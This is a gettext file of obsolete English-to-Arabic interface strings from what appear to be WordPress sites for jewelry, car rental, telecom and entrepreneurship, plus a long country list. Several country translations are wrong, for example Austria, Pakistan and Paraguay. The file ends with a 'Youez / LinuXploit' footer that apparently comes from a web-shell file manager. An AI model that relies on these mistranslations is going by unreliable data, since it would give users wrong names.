#~ msgid "Edit Project"
#~ msgstr "تعديل المشروع"

#~ msgid "Update Project"
#~ msgstr "تحديث المشروع"

#~ msgid "Search Project"
#~ msgstr "بحث في المشاريع"

#, fuzzy
#~ msgid "Post Types"
#~ msgstr "النوع  الرئيسي:"

#, fuzzy
#~ msgid "Post Type"
#~ msgstr "النوع  الرئيسي:"

#~ msgid "Fine Jewelry"
#~ msgstr "المجوهرات الراقية"

#~ msgid "gentlemen"
#~ msgstr "السادة"

#~ msgid "Jewelry"
#~ msgstr "المجوهرات"

#~ msgid "copyright © 2014"
#~ msgstr "جميع الحقوق محفوظة 2014"

# @ total
#~ msgid "Left Menu"
#~ msgstr "قائمة يسار الهيدر"

#~ msgid "Right Menu Arabic"
#~ msgstr "القائمة يمين الهيدر- عربي"

#~ msgid "Menu Arabic For small devices"
#~ msgstr "قائمة الأجهزة الذكية -عربي"

#~ msgid "Menu  For small devices"
#~ msgstr "قائمة الفوتر للأجهزة الذكية"

#~ msgid "Sliders"
#~ msgstr "السلايد"

#~ msgid "jewelry"
#~ msgstr "المجوهرات"

#~ msgid "Parent jewelry:"
#~ msgstr "المجوهرات الأساسية:"

#~ msgid "All jewelry"
#~ msgstr "كل المجوهرات"

# @ total
#~ msgid "Add New jewelry"
#~ msgstr "اضافة مجوهرات جديدة"

# @ total
#~ msgid "Add jewelry"
#~ msgstr "اضافة مجوهرات"

#~ msgid "Edit jewelry"
#~ msgstr "تعديل المجوهرات"

#~ msgid "Update jewelry"
#~ msgstr "تحديث المجوهرات"

#~ msgid "Search jewelry"
#~ msgstr "بحث في المجوهرات"

#~ msgid "Parent gentlemen:"
#~ msgstr "السادة  الرئيسي"

#~ msgid "All gentlemen"
#~ msgstr "الكل"

#~ msgid "View gentlemen"
#~ msgstr "عرض"

# @ total
#~ msgid "Add New gentlemen"
#~ msgstr "اضافة جديد"

#~ msgid "Add gentlemen"
#~ msgstr "اضافة جديد"

#~ msgid "Edit gentlemen"
#~ msgstr "تعديل"

#~ msgid "Update gentlemen"
#~ msgstr "تحديث"

#~ msgid "Search gentlemen"
#~ msgstr "بحث"

#~ msgid "Parent bridal:"
#~ msgstr "الرئيسي"

#~ msgid "All bridal"
#~ msgstr "الكل"

#~ msgid "View bridal"
#~ msgstr "عرض"

#~ msgid "Add bridal"
#~ msgstr "اضفة جديد"

#~ msgid "Edit bridal"
#~ msgstr "تعديل"

#~ msgid "Update bridal"
#~ msgstr "تحديث"

#~ msgid "Search bridal"
#~ msgstr "بحث"

#~ msgid "Parent Jewelry:"
#~ msgstr "المجوهرات الأساسية:"

#~ msgid "All Jewelry"
#~ msgstr "كل المجوهرات"

#~ msgid "View Jewelry"
#~ msgstr "عرض المجوهرات"

# @ total
#~ msgid "Add New Jewelry"
#~ msgstr "اضافة مجوهرات جديدة"

# @ total
#~ msgid "Add Jewelry"
#~ msgstr "اضافة مجوهرات"

#~ msgid "Edit Jewelry"
#~ msgstr "تعديل المجوهرات"

#~ msgid "Update Jewelry"
#~ msgstr "تحديث المجوهرات"

#~ msgid "Search Jewelry"
#~ msgstr "بحث في المجوهرات"

#~ msgid "All Locations"
#~ msgstr "كل المواقع"

#~ msgid "View Location"
#~ msgstr "عرض الموقع"

#~ msgid "Add Location"
#~ msgstr "اضافة موقع"

#~ msgid "Edit Location"
#~ msgstr "تعديل المواقع"

#~ msgid "Update Location"
#~ msgstr "تحديث الموقع"

#~ msgid "Search Locations"
#~ msgstr "بحث في المواقع"

#~ msgid "Sorry, content is empty."
#~ msgstr "عفواً المحتوى فارغ"

#~ msgid "Like us in Facebook"
#~ msgstr "تابعنا على الفيسبوك"

#~ msgid "Follow us in Twitter"
#~ msgstr "تابعنا على التويتر"

#~ msgid "Follow us in Google+"
#~ msgstr "تابعنا على قوقل بلس"

#~ msgid "Like us in Youtube"
#~ msgstr "تابعنا على اليوتيوب"

#~ msgid "home"
#~ msgstr "الرئيسية"

#~ msgid "Branches & locations"
#~ msgstr "المواقع و الفروع"

# @ total
#~ msgid "Select an area"
#~ msgstr "اختر منطقة"

#~ msgid "View the branch on the map"
#~ msgstr "عرض الفرع على الخريطة"

#~ msgid "Doors"
#~ msgstr "أبواب"

#~ msgid "Bags"
#~ msgstr "حقائب "

#~ msgid "Suitcase"
#~ msgstr "حقيبة سفر"

#~ msgid "Passengers"
#~ msgstr "الركاب"

#~ msgid "Automatic"
#~ msgstr "أوتوماتيكي"

#~ msgid "Call Us"
#~ msgstr "اتصل بنا"

#~ msgid "Book Now!"
#~ msgstr "احجز الآن"

#~ msgid "Navigation"
#~ msgstr "قائمة التنقل"

#~ msgid "Custom Header menu"
#~ msgstr "قائمة الهيدر"

#~ msgid "Custom Header menu - arabic"
#~ msgstr "قائمة الهيدر - اللغة العربية"

#~ msgid "Custom navigation footer - arabic"
#~ msgstr "قائمة التنقل أسفل الموقع - اللغة العربية"

#~ msgid "Custom links in footer"
#~ msgstr "قائمة الروابط في الفوتر"

#~ msgid "Custom links in footer - arabic "
#~ msgstr "قائمة الروابط في الفوتر - اللغة العربية"

#~ msgid "sidebar menu "
#~ msgstr "قائمة السايدبار"

#~ msgid "sidebar menu - arabic "
#~ msgstr "قائمة السايدبار -عربي"

#~ msgid "Edit offer"
#~ msgstr "تعديل العرض"

#~ msgid "FAQ"
#~ msgstr "الاسئلة الشائعة"

#~ msgid "All FAQ"
#~ msgstr "الأسئلة الشائعة"

#~ msgid "View FAQ"
#~ msgstr "عرض السؤال"

#~ msgid "Add New FAQ"
#~ msgstr "أضف سؤال جديد"

#~ msgid "Edit FAQ"
#~ msgstr "تعديل السؤال"

#~ msgid "Update FAQ"
#~ msgstr "تحديث السؤال"

#~ msgid "Search FAQ"
#~ msgstr "بحث في الأسئلة"

# @ total
#~ msgid "Add New Branch"
#~ msgstr "اضف فرع   جديد"

#~ msgid "Add Branch"
#~ msgstr "اضف فرع"

#~ msgid "Edit Branch"
#~ msgstr "تعديل الفرع"

#~ msgid "Update Branch"
#~ msgstr "تحديث الفرع"

#~ msgid "Region"
#~ msgstr "المناطق"

#~ msgid "All Regions"
#~ msgstr "كل المناطق"

#~ msgid "Parent Region"
#~ msgstr "المنطقة الرئيسية"

#~ msgid "New Region"
#~ msgstr "منطقة جديدة"

#~ msgid "Edit Region"
#~ msgstr "تعديل المنطقة"

#~ msgid "Add or remove Regions"
#~ msgstr "اضافة او حذف المنطقة"

#~ msgid "View Job"
#~ msgstr "عرض الوظيفة"

# @ total
#~ msgid "Add New Job"
#~ msgstr "اضف وظيفة جديدة"

# @ total
#~ msgid "Add Job"
#~ msgstr "اضف وظيفة"

#~ msgid "Edit Job"
#~ msgstr "تعديل الوظيفة"

#~ msgid "jobs"
#~ msgstr "الوظائف"

#~ msgid "Used Cars"
#~ msgstr "السيارات المستعملة"

#~ msgid "All Cars"
#~ msgstr "كل السيارات"

#~ msgid "View Car"
#~ msgstr "عرض السيارة"

# @ total
#~ msgid "Add Car"
#~ msgstr "اضف سيارة"

#~ msgid "Edit Car"
#~ msgstr "تعديل السيارة"

#~ msgid "Fleets"
#~ msgstr "اسطولنا"

#~ msgid "All Types"
#~ msgstr "كل الأنواع"

#~ msgid "New Type"
#~ msgstr "نوع جديد"

# @ total
#~ msgid "Edit Type"
#~ msgstr "تعديل النوع"

#~ msgid "Update Type"
#~ msgstr "تحديث النوع"

#~ msgid "Separate Types with commas"
#~ msgstr "افصل بين الأنواع بفاصلة"

#~ msgid "Search Types"
#~ msgstr "بحث في الانواع"

#~ msgid "Albums"
#~ msgstr "الألبومات"

#~ msgid "Parent Album:"
#~ msgstr "الألبوم الرئيسي"

# @ total
#~ msgid "Add Album"
#~ msgstr "اضف ألبوم جديد"

#~ msgid "videos"
#~ msgstr "الفيديو"

# @ total
#~ msgid "Add New client"
#~ msgstr "اضف عميل  جديد"

#~ msgid "Add client"
#~ msgstr "اضف عميل"

#~ msgid "Edit client"
#~ msgstr "تعديل العميل"

#~ msgid "Search clients"
#~ msgstr "بحث في العملاء"

#~ msgid "SEARCH"
#~ msgstr "بحث"

#~ msgid "You must type the phone number is composed of 12 field"
#~ msgstr "يجب كتابة رقم الهاتف أرقام فقط و من 12 حقول"

#~ msgid "STEP"
#~ msgstr "الخطوة"

#~ msgid "MAKE A RESERVATION"
#~ msgstr "اجراء الحجز"

#~ msgid "date & Time"
#~ msgstr "التاريخ والوقت"

#~ msgid "Pick up"
#~ msgstr "اختر"

#~ msgid "LOCATION"
#~ msgstr "الموقع"

# @ total
#~ msgid "Return to different location"
#~ msgstr "معلومات الإرجاع لموقع مختلف"

#~ msgid "Have discount voucher Number"
#~ msgstr "لديك قسيمة خصم"

#~ msgid "INFORMATION & REVIEW"
#~ msgstr "مراجعة المعلومات"

#~ msgid "Please type your Company"
#~ msgstr "الرجاء كتابة شركتك"

#~ msgid "I agree to terms and conditions"
#~ msgstr "أوافق على البنود والشروط"

#~ msgid "Make a Reservation"
#~ msgstr "تقديم الحجز"

#~ msgid "Modify"
#~ msgstr "تعديل"

# @ total
#~ msgid "Pickup information"
#~ msgstr "جمع المعلومات"

#~ msgid "Age & Residence"
#~ msgstr "العمر والإقامة"

#~ msgid "banner place"
#~ msgstr "مكان البنر"

#~ msgid "disable"
#~ msgstr "تعطيل"

#~ msgid "Sidebar"
#~ msgstr "السايدبار"

#~ msgid "Working Hours"
#~ msgstr "أوقات الدوام"

#~ msgid "Working Hours english"
#~ msgstr "أوقات الدوام"

#~ msgid "cars option"
#~ msgstr "خيارات السيارة"

#~ msgid "Manual"
#~ msgstr "عادي"

#~ msgid "no"
#~ msgstr "لا"

#~ msgid "albums"
#~ msgstr "الألبومات"

#~ msgid "show"
#~ msgstr "عرض"

#~ msgid "Inquire Now!"
#~ msgstr "الاستفسار الآن!"

#~ msgid "map"
#~ msgstr "الخريطة"

#, fuzzy
#~ msgid "right to left"
#~ msgstr "قائمة يمين الموقع"

#~ msgid "view all"
#~ msgstr "عرض الكل"

#~ msgid "The major projects of the company are"
#~ msgstr "ابرز المشاريع الرئيسية للشركه "

#~ msgid "Telecom Engineering"
#~ msgstr "هندسة الاتصالات"

#~ msgid "OSP (Outside Plant) Construction and Maintenance Projects"
#~ msgstr "OSP (المنشآت خارج ) البناء و مشاريع الصيانة"

#~ msgid "GSM & Construction Project"
#~ msgstr "GSM و مشاريع البناء"

#~ msgid "Water Treatment & Leak Detection Projects"
#~ msgstr "معالجة المياه و مشاريع كشف التسرب "

#~ msgid "Facilities Maintenance Projects"
#~ msgstr "مشاريع صيانة المرافق"

#~ msgid ""
#~ "<span>Telecom Engineering</span> is primarily concerned with Engineering, "
#~ "Planning, and Implementation of various telecom projects, including "
#~ "landline and mobile communication development and other public utilities "
#~ "of the Kingdom."
#~ msgstr ""
#~ "نقوم  بتنفيذ مشاريع الاتصالات المختلفة، بما في ذلك الهاتف الثابت و "
#~ "الاتصالات المتنقلة كما نقوم بتطوير المرافق العامة الأخرى من المملكة."

#~ msgid ""
#~ "Telecom Engineering executes a wide range of telecom projects such as:"
#~ msgstr "تشتمل هندسة الاتصالات على مجموعة واسعة من المشاريع مثل :"

#~ msgid "Custom navabar Menu for small device"
#~ msgstr "قائمة النافبار للأجهزة الذكية"

#~ msgid "Custom navabar Menu for small device - Arabic"
#~ msgstr "قائمة النافبار للأجهزة الذكية اللغة العربية"

#~ msgid "Footer Menu on small devices - Arabic"
#~ msgstr "قائمة الفوتر للأجهزة الذكية للغة العربية"

#~ msgid "No Services found"
#~ msgstr "المحتوى فارغ"

#~ msgid "No Services found in Trash"
#~ msgstr "سلة المهملات فارغة"

#~ msgid "option page"
#~ msgstr "خيارات الصفحة"

#~ msgid "image title arabic"
#~ msgstr "صورة العنوان - عربي"

#, fuzzy
#~ msgid "Project Item:"
#~ msgstr "صور المشروع"

#, fuzzy
#~ msgid "Add Project Item"
#~ msgstr "صور المشروع"

# @ total
#~ msgid "Post Type Description"
#~ msgstr "الوصف"

#~ msgid "MODEL NO"
#~ msgstr "الموديل"

#~ msgid "DESCRIPTION"
#~ msgstr "الوصف"

#~ msgid "news"
#~ msgstr "الأخبار"

#~ msgid "New Banner"
#~ msgstr "بنر جديد"

#~ msgid "No Banners found in Trash"
#~ msgstr "سلة المهملات فارغة"

# @ total
#~ msgid "banner information pages"
#~ msgstr "صفحة البنرات المخصصة"

# @ total
#~ msgid "news information pages"
#~ msgstr "صفحة الأخبار  المخصصة"

#~ msgid "No Gallery found in Trash"
#~ msgstr "سلة المهملات فارغة"

#~ msgid "EX 9665xxxxxxx"
#~ msgstr "مثال 9665xxxxxxx"

#~ msgid "name"
#~ msgstr "الإسم "

#~ msgid "Another e-mail"
#~ msgstr "بريد الكتروني اخر"

#~ msgid "Information about your business"
#~ msgstr "معلومات عن عملك"

#~ msgid "About your vehicle"
#~ msgstr "معلومات عن مركبتك"

#~ msgid "Type / Model"
#~ msgstr "النوع/الموديل"

#~ msgid "Board"
#~ msgstr "اللوحة"

#~ msgid "Save and Send"
#~ msgstr "حفظ وارسال"

#~ msgid "faq"
#~ msgstr "الأسئلة الشائعة"

#~ msgid "Units"
#~ msgstr "الوحدات"

#~ msgid "Follow us on linkedin"
#~ msgstr "تابعنا على اللنكد ان"

#~ msgid "Share page on Facebook"
#~ msgstr "شارك على الفيسبوك"

#~ msgid "Share page on Google Plus"
#~ msgstr "شارك على القوقل بلس"

#~ msgid "An error on the period: Start Date is greater than the end date"
#~ msgstr "خطأ بتاريخ الفترة : تاريخ البداية اكبر من تاريخ النهاية"

#~ msgid "Type of housing unit"
#~ msgstr "نوع الوحدة السكنية"

#~ msgid "Ethiopia"
#~ msgstr "أثيوبيا"

#~ msgid "Azerbaijan"
#~ msgstr "أذربيجان"

#~ msgid "Armenia"
#~ msgstr "أرمينيا"

#~ msgid "Eritrea"
#~ msgstr "أرتيريا"

#~ msgid "Spain"
#~ msgstr "اسبانيا"

#~ msgid "Australia"
#~ msgstr "استراليا"

#~ msgid "Estonia"
#~ msgstr "أستونيا"

#~ msgid "Afghanistan"
#~ msgstr "أفغانستان"

#~ msgid "Ecuador"
#~ msgstr "الإكوادور"

#~ msgid "Albania"
#~ msgstr "ألبانيا"

#~ msgid "Germany"
#~ msgstr "ألمانيا"

#~ msgid "Antigua and Barbuda "
#~ msgstr "أنتيغوا وبربودا"

#~ msgid "Andorra"
#~ msgstr "أندورا"

#~ msgid "Indonesia"
#~ msgstr "أندونيسيا"

#~ msgid "Angola"
#~ msgstr "أنغولا"

#~ msgid "Uruguay"
#~ msgstr "الأورغواي"

#~ msgid "Uzbekistan"
#~ msgstr "أوزبكستان"

#~ msgid "Uganda"
#~ msgstr "أوغندا"

#~ msgid "Iran"
#~ msgstr "ايران"

#~ msgid "Ireland"
#~ msgstr "ايرلندا"

#~ msgid "Iceland"
#~ msgstr "ايسلندا"

#~ msgid "Italy"
#~ msgstr "إيطاليا"

#~ msgid "Argentina"
#~ msgstr "الأرجنتين"

#~ msgid "Jordan"
#~ msgstr "الأردن"

# @ total
#~ msgid "Russian Federation"
#~ msgstr "الإتحاد الروسي"

#~ msgid "Bahrain"
#~ msgstr "البحرين"

#~ msgid "Brazil"
#~ msgstr "البرازيل"

#~ msgid "Bosnia and Herzegovina"
#~ msgstr "البوسنة والهرسك"

#~ msgid "Algeria"
#~ msgstr "الجزائر"

#~ msgid "Libya"
#~ msgstr "ليبيا"

#~ msgid "Czech Republic"
#~ msgstr "جمهورية التشيك"

#~ msgid "Dominican Republic"
#~ msgstr "الجمهورية الدومينيكية"

#~ msgid "Syria"
#~ msgstr "سوريا"

#~ msgid "Denmark"
#~ msgstr "الدنمارك"

#~ msgid "Cape Verde"
#~ msgstr "الرأس الأخضر"

#~ msgid "El Salvador"
#~ msgstr "السلفادور"

#~ msgid "Senegal"
#~ msgstr "السنغال"

#~ msgid "Sudan"
#~ msgstr "السودان"

#~ msgid "Sweden"
#~ msgstr "السويد"

#~ msgid "Somalia"
#~ msgstr "الصومال"

#~ msgid "China"
#~ msgstr "الصين"

#~ msgid "Iraq"
#~ msgstr "العراق"

#~ msgid "Cameroon"
#~ msgstr "الكاميرون"

#~ msgid "Congo"
#~ msgstr "الكونغو"

#~ msgid "Kuwait"
#~ msgstr "الكويت"

#~ msgid "Hungary"
#~ msgstr "هنقاريا"

#~ msgid "Morocco"
#~ msgstr "المغرب"

#~ msgid "Mexico"
#~ msgstr "المكسيك"

#~ msgid "United Kingdom"
#~ msgstr "المملكة المتحدة"

#~ msgid "Norway"
#~ msgstr "النرويج"

#~ msgid "Austria"
#~ msgstr "استراليا"

#~ msgid "Niger"
#~ msgstr "النيجر"

#~ msgid "India"
#~ msgstr "الهند"

#~ msgid "USA"
#~ msgstr "الولايات المتحدة الأمريكية"

#~ msgid "Japan"
#~ msgstr "اليابان"

#~ msgid "Yemen"
#~ msgstr "اليمن"

#~ msgid "Greece"
#~ msgstr "اليونان"

#~ msgid "Papua New Guinea"
#~ msgstr "بابوا غينيا الجديدة"

#~ msgid "Paraguay"
#~ msgstr "الأورغواي"

#~ msgid "Pakistan"
#~ msgstr "أوزبكستان"

#~ msgid "Palau"
#~ msgstr "بالاو"

#~ msgid "Barbados"
#~ msgstr "بربادوس"

#~ msgid "Brunei Darussalam"
#~ msgstr "بروناي دار السلام"

#~ msgid "Belgium"
#~ msgstr "بلجيكا"

#~ msgid "Bulgaria"
#~ msgstr "بلغاريا"

#~ msgid "Belize"
#~ msgstr "بليز"

#~ msgid "Bangladesh"
#~ msgstr "بنغلادش"

#~ msgid "Panama"
#~ msgstr "بانما"

#~ msgid "Bhutan"
#~ msgstr "بوتان"

#~ msgid "Botswana"
#~ msgstr "بوتسوانا"

#~ msgid "Burkina Faso"
#~ msgstr "بوركينا فاسو"

#~ msgid "Burundi"
#~ msgstr "بوروندي"

#~ msgid "Poland"
#~ msgstr "بولندا"

#~ msgid "Bolivia"
#~ msgstr "بوليفيا"

#~ msgid "Peru"
#~ msgstr "البيرو"

#~ msgid "Belarus"
#~ msgstr "روسيا البيضاء"

#~ msgid "Thailand"
#~ msgstr "تايلاند"

#~ msgid "Turkmenistan"
#~ msgstr "تركمانستان"

#~ msgid "Turkey"
#~ msgstr "تركيا"

#~ msgid "Trinidad and Tobago"
#~ msgstr "ترينيداد وتوباغو"

#~ msgid "Chad"
#~ msgstr "تشاد"

#~ msgid "Tuvalu"
#~ msgstr "توفالو"

#~ msgid "Tunisia"
#~ msgstr "تونس"

#~ msgid "Tonga"
#~ msgstr "تونغا"

#~ msgid "Timor - Leste"
#~ msgstr "تيمور - ليشتي"

#~ msgid "Jamaica"
#~ msgstr "جامايكا"

#~ msgid "Netherlands Antilles"
#~ msgstr "جزر الأنتيل الهولندية"

#~ msgid "Bahamas"
#~ msgstr "جزر البهاما"

#~ msgid "Comoros"
#~ msgstr "جزر القمر"

#~ msgid "Solomon Islands"
#~ msgstr "جزر سليمان"

#~ msgid "Cook Islands"
#~ msgstr "جزر كوك"

#~ msgid "Marshall Islands"
#~ msgstr "جزر مارشال"

#~ msgid "Central African Republic"
#~ msgstr "جمهورية أفريقيا الوسطى"

#~ msgid "Democratic Republic of Congo"
#~ msgstr "جمهورية الكونغو الديمقراطية"

#~ msgid "United Republic of Tanzania"
#~ msgstr "جمهورية تنزانيا المتحدة"

#~ msgid "Republic of Korea"
#~ msgstr "جمهورية كوريا"

#~ msgid "Democratic People's Republic of Korea"
#~ msgstr "جمهورية كوريا الشعبية الديمقراطية لكوريا"

#~ msgid "Lao PDR"
#~ msgstr "جمهورية لاو الديمقراطية الشعبية"

#~ msgid "The former Yugoslav Republic of Macedonia"
#~ msgstr "جمهورية مقدونيا اليوغوسلافية السابقة"

#~ msgid "Republic of Moldova"
#~ msgstr "جمهورية مولدوفا"

#~ msgid "South Africa"
#~ msgstr "جنوب أفريقيا"

#~ msgid "Georgia"
#~ msgstr "جورجيا"

#~ msgid "Djibouti"
#~ msgstr "جيبوتي"

#~ msgid "United Arab Emirates"
#~ msgstr "الإمارات العريبة المتحدة"

#~ msgid "Dominica"
#~ msgstr "الجمهورية الدومينيكيةدومينيكا"

#~ msgid "Rwanda"
#~ msgstr "أوغندارواندا"

#~ msgid "Romania"
#~ msgstr "رومانيا"

#~ msgid "Zambia"
#~ msgstr "زامبيا"

#~ msgid "Zimbabwe"
#~ msgstr "زيمبابوي"

#~ msgid "Samoa"
#~ msgstr "ساموا"

#~ msgid "San Marino"
#~ msgstr "سان مارينو"

#~ msgid "Saint Vincent and the Grenadines"
#~ msgstr "سانت فنسنت وجزر غرينادين"

#~ msgid "Saint Kitts and Nevis"
#~ msgstr "سانت كيتس ونيفيس"

#~ msgid "Saint Lucia"
#~ msgstr "سانت لوسيا"

#~ msgid "Sao Tome and Principe"
#~ msgstr "ساو تومي وبرينسيبي"

#~ msgid "Sri Lanka"
#~ msgstr "سري لانكا"

#~ msgid "Slovakia"
#~ msgstr "سلوفاكيا"

#~ msgid "Slovenia"
#~ msgstr "سلوفينيا"

#~ msgid "Swaziland"
#~ msgstr "سوازيلاند"

#~ msgid "Suriname"
#~ msgstr "الإسم سورينام"

#~ msgid "Switzerland"
#~ msgstr "سويسرا"

#~ msgid "Sierra Leone"
#~ msgstr "سيراليون"

#~ msgid "Seychelles"
#~ msgstr "سيشيل"

#~ msgid "Serbia and Montenegro"
#~ msgstr "صربيا والجبل الأسود"

#~ msgid "Tajikistan"
#~ msgstr "أوزبكستانطاجيكستان"

#~ msgid "Gabon"
#~ msgstr "الغابون"

#~ msgid "Gambia"
#~ msgstr "غامبيا"

#~ msgid "Ghana"
#~ msgstr "غانا"

#~ msgid "Grenada"
#~ msgstr "غرينادا"

#~ msgid "Guatemala"
#~ msgstr "غواتيمالا"

#~ msgid "Guyana"
#~ msgstr "غيانا"

#~ msgid "Guinea"
#~ msgstr "غينيا"

#~ msgid "Guinea - Bissau"
#~ msgstr "غينيا - بيساو"

#~ msgid "Equatorial Guinea"
#~ msgstr "غينيا الاستوائية"

#~ msgid "Venezuela"
#~ msgstr "فنزويلا"

#~ msgid "Finland"
#~ msgstr "فنلندا"

#~ msgid "Fiji"
#~ msgstr "فيجي"

#~ msgid "Cyprus"
#~ msgstr "قبرص"

#~ msgid "Qatar"
#~ msgstr "قطر"

#~ msgid "Kyrgyzstan"
#~ msgstr "قيرغيزستان"

#~ msgid "Croatia"
#~ msgstr "كرواتيا"

#~ msgid "Cambodia"
#~ msgstr "كمبوديا"

#~ msgid "Canada"
#~ msgstr "كندا"

#~ msgid "Cuba"
#~ msgstr "كوبا"

#~ msgid "Côte d'Ivoire"
#~ msgstr "كوت ديفوار"

#~ msgid "Costa Rica"
#~ msgstr "كوستاريكا"

#~ msgid "Columbia"
#~ msgstr "كولومبيا"

#~ msgid "Kiribati"
#~ msgstr "كيريباتي"

#~ msgid "Latvia"
#~ msgstr "لاتفيا"

#~ msgid "Lebanon"
#~ msgstr "لبنان"

#~ msgid "Liechtenstein"
#~ msgstr "ليختنشتاين"

#~ msgid "Luxembourg"
#~ msgstr "لوكسمبورغ"

#~ msgid "Liberia"
#~ msgstr "ليبيريا"

#~ msgid "Lithuania"
#~ msgstr "ليتوانيا"

#~ msgid "Lesotho"
#~ msgstr "ليسوتو"

#~ msgid "Malta"
#~ msgstr "مالطا"

#~ msgid "Mali"
#~ msgstr "مالي"

#~ msgid "Malaysia"
#~ msgstr "ماليزيا"

#~ msgid "Madagascar"
#~ msgstr "مدغشقر"

#~ msgid "Egypt"
#~ msgstr "مصر"

#~ msgid "Malawi"
#~ msgstr "مالاوي"

#~ msgid "Maldives"
#~ msgstr "جزر المالديف"

#~ msgid "Mongolia"
#~ msgstr "منغوليا"

#~ msgid "Mauritania"
#~ msgstr "موريتانيا"

#~ msgid "Mauritius"
#~ msgstr "موريشيوس"

#~ msgid "Mozambique"
#~ msgstr "موزمبيق"

#~ msgid "Monaco"
#~ msgstr "موناكو"

#~ msgid "Myanmar"
#~ msgstr "ميانمار"

#~ msgid "Micronesia"
#~ msgstr "ميكرونيزيا"

#~ msgid "Namibia"
#~ msgstr "ناميبيا"

#~ msgid "Nauru"
#~ msgstr "ناورو"

#~ msgid "Nepal"
#~ msgstr "نيبال"

#~ msgid "Nigeria"
#~ msgstr "نيجيريا"

#~ msgid "Nicaragua"
#~ msgstr "نيكاراغوا"

#~ msgid "New Zealand"
#~ msgstr "نيوزيلندا"

#~ msgid "Niue Zealand"
#~ msgstr "نيوي نيوزيلندا"

#~ msgid "Haiti"
#~ msgstr "هايتي"

#~ msgid "Honduras"
#~ msgstr "هندوراس"

#~ msgid "The right time to call"
#~ msgstr "الوقت المناسب للإتصال"

#~ msgid "Please write your full name"
#~ msgstr "الرجاء كتابة اسمك الكامل"

#, fuzzy
#~ msgid " Antigua and Barbuda"
#~ msgstr "Antigua and Barbuda"

#, fuzzy
#~ msgid "Name Topics"
#~ msgstr "اسم الزوج"

#~ msgid "You are here :"
#~ msgstr "أنت هنا :"

#~ msgid "Arabic Text slider"
#~ msgstr "نص السلايد عربي"

# @ total
#~ msgid "Textarea description"
#~ msgstr "وصف الميتا."

# @ total
#~ msgid "Email description"
#~ msgstr "تفاصيل البريد"

# @ total
#~ msgid "oEmbed"
#~ msgstr "تضمين"

# @ total
#~ msgid "oEmbed description"
#~ msgstr "وصف التضمين"

# @ total
#~ msgid "Posts (Pages)"
#~ msgstr "المواضيع (الصفحات)"

# @ total
#~ msgid "WYSIWYG default value"
#~ msgstr "القيمة الإفتراضية للمحرر المتقدم"

#~ msgid "File Upload"
#~ msgstr "رفع الملفات"

#~ msgid "File Advanced Upload"
#~ msgstr "رفع الملفات المتقدم"

#~ msgid "Image Upload"
#~ msgstr "رفع الصور"

#~ msgid "Thickbox Image Upload"
#~ msgstr "صندوق رفع الصور"

#~ msgid "Image Advanced Upload"
#~ msgstr "رفع الصور المتقدم"

#~ msgid "A leading business membership ID"
#~ msgstr "رقم عضوية ريادي الأعمال"

#~ msgid "First Line Arabic"
#~ msgstr "السطر الأول - عربي"

#~ msgid "Third Line Arabic"
#~ msgstr "السطر الثالث - عربي"

#~ msgid "Place a bannr"
#~ msgstr "مكان البنر"

#~ msgid "Side of the site - internal page"
#~ msgstr "جانب الموقع - الصفحات الداخلية"

#~ msgid "Link a bannr"
#~ msgstr "رابط البنر"

#~ msgid "external"
#~ msgstr "خارجي"

#~ msgid "internal"
#~ msgstr "عادي"

#~ msgid "Show Album"
#~ msgstr "عرض الألبوم"

#~ msgid "Entrepreneurs"
#~ msgstr "رواد الأعمال"

#~ msgid "Search Entrepreneurs"
#~ msgstr "بحث في رواد الأعمال"

#~ msgid "Watch the video"
#~ msgstr "مشاهدة الفيديو"

#~ msgid "Endeavor KSA"
#~ msgstr "انديفور السعودية"

#~ msgid "Adv"
#~ msgstr "البنرات الإعلانية"

# @ total
#~ msgid "Add new Adv"
#~ msgstr "اضف بنر  جديد"

#~ msgid "search in Adv"
#~ msgstr "بحث في البنرات"

#~ msgid "All Entrepreneurs"
#~ msgstr "جميع الرواد الأعمال"

#~ msgid "View Entrepreneur"
#~ msgstr "عرض"

#~ msgid "Add new Entrepreneur"
#~ msgstr "اضافة جديد"

#~ msgid "Edit Entrepreneur"
#~ msgstr "تعديل"

#~ msgid "seaerch in Entrepreneurs"
#~ msgstr "بحث"

# @ total
#~ msgid "Add new Interest"
#~ msgstr "اضف مجال جديد"

#~ msgid "search in Interest"
#~ msgstr "بحث في المجال"

#~ msgid "Slide entrepreneurs"
#~ msgstr "سلايدر الياديون"

#~ msgid "Endeavor society"
#~ msgstr "مجتمع انديفور"

#~ msgid "Back to page entrepreneurs"
#~ msgstr "عودة لصفحة رواد الأعمال"

#~ msgid "Settings banners on the home page"
#~ msgstr "إعدادات البنرات في الصفحة الرئيسية"

#~ msgid "save"
#~ msgstr "حفظ"

# @ total
#, fuzzy
#~ msgid "ُEdit"
#~ msgstr "تعديل"

Youez - 2016 - github.com/yon3zu
LinuXploit